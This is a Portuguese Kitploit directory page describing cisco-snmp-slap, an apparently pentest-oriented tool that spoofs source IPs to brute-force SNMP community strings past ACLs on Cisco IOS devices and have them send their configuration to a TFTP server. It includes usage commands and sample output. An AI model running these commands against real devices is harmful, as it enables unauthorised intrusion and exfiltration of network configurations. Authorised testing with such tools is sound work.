Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Cisco-SNMP-Slap — Ferramenta de spoofing de IP e força bruta de community strings SNMP para contornar ACLs em dispositivos Cisco IOS e exfiltrar arquivos de configuração via TFTP. | Kitploit
Ferramentas/GitHubGitHub/nccgroup/cisco-snmp-slap
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoColeta de InformaçõesSegurança de RedeTestes de PenetraçãoRed Teaming
GitHubnccgroup/cisco-snmp-slap

Cisco-SNMP-Slap

Ferramenta de spoofing de IP e força bruta de community strings SNMP para contornar ACLs em dispositivos Cisco IOS e exfiltrar arquivos de configuração via TFTP.

Ver Repositório
5815há 11 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

VISÃO GERAL

O cisco-snmp-slap utiliza spoofing de endereço IP para contornar uma ACL que protege um serviço SNMP em um dispositivo Cisco IOS.

Normalmente, o spoofing de IP tem uso limitado em ataques reais fora de DoS. Nenhum serviço TCP consegue concluir o handshake inicial. Pacotes UDP são mais fáceis de falsificar, mas o pacote de retorno geralmente é enviado para o endereço errado, o que torna difícil coletar qualquer informação retornada.

No entanto, se um atacante conseguir adivinhar a community string de leitura/escrita do SNMP e um endereço de origem válido, ele pode definir MiBs SNMP. Um dos usos mais óbvios disso é fazer um serviço SNMP da Cisco enviar seu arquivo de configuração IOS para outro dispositivo.

Esta ferramenta permite testar uma ou mais community strings contra um dispositivo Cisco a partir de um ou mais endereços IP. Ao especificar endereços IP, você pode optar por percorrer uma faixa de endereços de origem de forma sequencial ou aleatória.

Para especificar uma faixa de endereços IP de origem a ser verificada, um endereço de origem inicial e uma máscara de IP são fornecidos. Quaisquer bits definidos na máscara de IP serão usados para gerar endereços IP de origem alterando o endereço de origem inicial.

Por exemplo, se um endereço de origem 10.0.0.0 for fornecido com uma máscara de IP 0.0.0.255, o script explorará os endereços de 10.0.0.0 a 10.0.0.255.

Os bits definidos não precisam ser sequenciais como em uma máscara de sub-rede. Por exemplo, a máscara 0.128.1.255 é válida e explorará as faixas 10.0,128.0-1.0-255.

Ao verificar uma faixa de endereços IP de forma aleatória ou sequencial, é necessário informar o caminho para a raiz do diretório tftp. O script verificará esse diretório para ver se o arquivo foi transferido com sucesso.

Esta ferramenta foi escrita para atacar switches de camada 3 da Cisco durante testes de penetração, embora possa ter outros usos. Ela funciona bem contra esses dispositivos porque:

  1. switches de camada 3 raramente têm verificação de caminho reverso configurada, na experiência do autor
  2. não há roteadores ou outros dispositivos que possam detectar que está ocorrendo spoofing de IP.

Espero que os usuários encontrem outros usos interessantes para este script e seu código-fonte.

USO

Neste exemplo, usarei um dispositivo IOS simples com uma access list protegendo um serviço SNMP usando a community string 'cisco'

root@kitploit:~
access-list 10 permit 10.100.100.0 0.0.0.255
snmp-server community cisco rw 10

O endereço IP de um dispositivo IOS é 10.0.0.1

O pentester tem um endereço IP 10.0.0.2 e iniciou um servidor TFTP.

Se o testador souber de tudo isso, ele usa o modo único (one shot) para capturar o arquivo de configuração do dispositivo. Ex.:

root@kitploit:~
./slap.py single cisco 10.0.0.2 10.100.100.100 10.0.0.1

Se o testador não souber os detalhes, ele pode tentar adivinhar. Digamos que o testador fez algum reconhecimento e descobriu que todos os endereços internos estão no intervalo 10.0.0.0/8.

root@kitploit:~
./slap.py seqmask private 10.0.0.2 10.0.0.0 0.255.255.0 10.0.0.1 /tftproot/

Este comando varrerá todos os /24; o testador espera economizar tempo presumindo que uma sub-rede inteira terá acesso permitido em vez de apenas um endereço IP.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask cisco 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community String:   cisco
TFTP Server IP  :   10.0.0.2
Source IP:          10.0.0.5
Source Mask:        0.255.255.0
Destination IP:     10.0.0.1
TFTP Root Path:     /tftproot//cisco-config.txt
10.0.0.5
10.0.1.5
10.0.2.5
< ... cut for brevity ... >
10.100.99.255
10.100.100.0
10.100.100.1
10.100.100.2
10.100.100.3
10.100.100.4
10.100.100.5
10.100.100.6
Success!

Você deve notar que o programa encerra e anuncia sucesso vários endereços IP depois de entrar no intervalo 10.100.100.0/24. Isso ocorre porque não é possível determinar qual endereço de origem foi bem-sucedido, mas determina que uma das solicitações foi bem-sucedida depois que o arquivo de configuração aparece no tftproot. Como você acabou de capturar a configuração em execução, agora pode descobrir os detalhes da ACL por conta própria.

Em vez de especificar uma única community string, você também pode fornecer uma lista para ser usada. Os nomes dos modos são os mesmos, exceto pelo sufixo '_l'.

Por exemplo, para repetir o mesmo ataque usando uma lista de community strings em list.txt, os seguintes argumentos devem ser usados.

root@kitploit:~
root@Athena:/home/notroot/cisco-snmp-slap# ./slap.py seqmask_l list.txt 10.0.0.2 10.0.0.5 0.255.255.0 10.0.0.1 /tftproot/
Cisco SNMP Slap,  v0.3
Darren McDonald, [email protected]

WARNING: No route found for IPv6 destination :: (no default route?)
Community File: list.txt
TFTP Server IP  :   10.0.0.2
Source IP:  10.0.0.5
Source Mask:0.255.255.0
Destination IP: 10.0.0.1
TFTP Root Path: /tftproot//cisco-config.txt
community strings loaded:  ['private\n', 'cisco\n', 'public\n']
10.0.0.5 /  private
10.0.0.5 /  cisco
10.0.0.5 /  public
10.0.1.5 /  private
10.0.1.5 /  cisco
10.0.1.5 /  public
10.0.2.5 /  private
10.0.2.5 /  cisco
10.0.2.5 /  public
10.0.3.5 /  private
10.0.3.5 /  cisco
10.0.3.5 /  public

Agora cada endereço IP é verificado com cada community string em list.txt.

SUPORTE

Entre as linguagens de programação, Python é uma linguagem simples, fácil de ler e escrever, e encorajo você a tentar depurar e corrigir quaisquer problemas que encontrar e enviar suas alterações para que eu possa compartilhá-las com outros usuários no Github da NCC.

Mas se você precisar de assistência, pode entrar em contato comigo em [email protected]. Farei o meu melhor para ajudá-lo, mas você deve estar ciente de que não sou um desenvolvedor em tempo integral (o que deve ser óbvio pelo meu código!) e talvez não tenha tempo para responder à sua consulta imediatamente.

VERSÕES

  • 0.1 Versão inicial
  • 0.2 Adicionados modos aleatório e sequencial e máscaras de endereço de origem
  • 0.3 adicionado recurso de lista de community strings em arquivo, primeira versão pública
  • 0.3.1 agora usa os.sep para que os caminhos funcionem corretamente no Windows
Baixar ferramenta